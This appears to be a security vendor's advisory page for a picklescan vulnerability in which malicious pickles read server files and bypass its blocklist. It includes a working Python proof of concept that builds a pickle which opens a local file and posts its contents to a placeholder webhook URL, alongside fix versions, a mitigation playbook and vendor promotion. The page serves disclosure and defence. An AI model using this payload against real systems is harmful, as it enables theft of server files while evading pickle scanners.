GHSA-9726-w42j-3qjr is a high-severity (CVSS 7.5) Path Traversal vulnerability in picklescan. O3 Security confirms whether GHSA-9726-w42j-3qjr is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
picklescan has Arbitrary file read using `io.FileIO`
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
-
io.FileIO: Opens local files without using builtins.open.
-
urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
-
Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
PoC
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)
Impact
- Arbitrary file read
Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.35 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update picklescan to 0.0.35 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9726-w42j-3qjr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9726-w42j-3qjr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9726-w42j-3qjr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9726-w42j-3qjr in your dependencies?
O3 detects GHSA-9726-w42j-3qjr across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.